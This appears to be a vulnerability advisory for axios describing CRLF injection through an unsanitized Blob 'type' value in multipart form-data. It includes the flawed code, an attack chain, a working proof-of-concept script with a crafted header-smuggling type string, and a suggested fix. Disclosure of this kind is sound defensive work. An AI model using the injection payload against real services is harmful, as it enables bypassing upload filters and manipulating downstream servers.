Axios: CRLF Injection in multipart/form-data body via unsanitized blob.type in formDataToStream

Summary

The FormDataPart constructor in lib/helpers/formDataToStream.js interpolates value.type directly into the Content-Type header of each multipart part without sanitizing CRLF (\r\n) sequences. An attacker who controls the .type property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers.

Details

In lib/helpers/formDataToStream.js at line 27, when processing a Blob/File-like value, the code builds per-part headers by directly embedding value.type:

if (isStringValue) {
  value = textEncoder.encode(String(value).replace(/\r?\n|\r\n?/g, CRLF));
} else {
  // value.type is NOT sanitized for CRLF sequences
  headers += `Content-Type: ${value.type || 'application/octet-stream'}${CRLF}`;
}

Note that the string path (line above) explicitly sanitizes CRLF, but the binary/blob path does not. This inconsistency confirms the sanitization was intended but missed for value.type.

Attack chain:

1. Attacker uploads a file to a Node.js proxy service, supplying a crafted MIME type containing \r\n sequences
2. The proxy appends the file to a FormData and posts it via axios.post(url, formData)
3. axios calls formDataToStream(), which passes value.type unsanitized into the multipart body
4. The downstream server receives a multipart body containing injected per-part headers
5. The server's multipart parser processes the injected headers as legitimate

This is reachable via the fully public axios API (axios.post(url, formData)) with no special configuration. Additionally, value.name used in the Content-Disposition construction nearby likely has the same issue and should be audited.

PoC

Prerequisites: Node.js 18+, axios (tested on 1.14.0)

const http = require('http');
const axios = require('axios');

let receivedBody = '';

const server = http.createServer((req, res) => {
  let body = '';
  req.on('data', chunk => { body += chunk.toString(); });
  req.on('end', () => {
    receivedBody = body;
    res.writeHead(200);
    res.end('ok');
  });
});

server.listen(0, '127.0.0.1', async () => {
  const port = server.address().port;

  class SpecFormData {
    constructor() {
      this._entries = [];
      this[Symbol.toStringTag] = 'FormData';
    }
    append(name, value) { this._entries.push([name, value]); }
    [Symbol.iterator]() { return this._entries[Symbol.iterator](); }
    entries() { return this._entries[Symbol.iterator](); }
  }

  const fd = new SpecFormData();

  fd.append('photo', {
    type: 'image/jpeg\r\nX-Injected-Header: PWNED-by-attacker\r\nX-Evil: arbitrary-value',
    size: 16,
    name: 'photo.jpg',
    [Symbol.asyncIterator]: async function*() {
      yield Buffer.from('MALICIOUS PAYLOAD');
    }
  });

  await axios.post(`http://127.0.0.1:${port}/upload`, fd);

  if (receivedBody.includes('X-Injected-Header: PWNED-by-attacker')) {
    console.log('[VULNERABLE] CRLF injection confirmed in multipart body');
    console.log('Received body:\n' + receivedBody);
  } else {
    console.log('[NOT_VULNERABLE]');
  }

  server.close();
});

Steps to reproduce:

1. npm install axios
2. Save the above as poc_axios_crlf.js
3. Run node poc_axios_crlf.js
4. Observe the output shows [VULNERABLE] with injected headers visible in the multipart body

Expected behavior: value.type should be sanitized to strip \r\n before interpolation, consistent with the string value path. Actual behavior: CRLF sequences in value.type are preserved, allowing arbitrary header injection in multipart parts.

Impact

Any Node.js application that accepts user-provided files (with attacker-controlled MIME types) and re-posts them via axios FormData is affected. This is a common pattern in proxy services, file upload relays, and API gateways. Consequences include: bypassing server-side Content-Type-based upload filters, confusing multipart parsers into misrouting data, injecting phantom form fields if the boundary is known, and exploiting downstream server vulnerabilities that trust per-part headers. axios is one of the most downloaded npm packages, significantly increasing the blast radius of this issue.

Suggested fix

In formDataToStream.js, sanitize value.type before interpolating it into the per-part Content-Type header. Apply the same strategy used for string values (strip/replace \r\n) or use the same escapeName logic.

const safeType = (value.type || 'application/octet-stream')
  .replace(/[\r\n]/g, '');
headers += `Content-Type: ${safeType}${CRLF}`;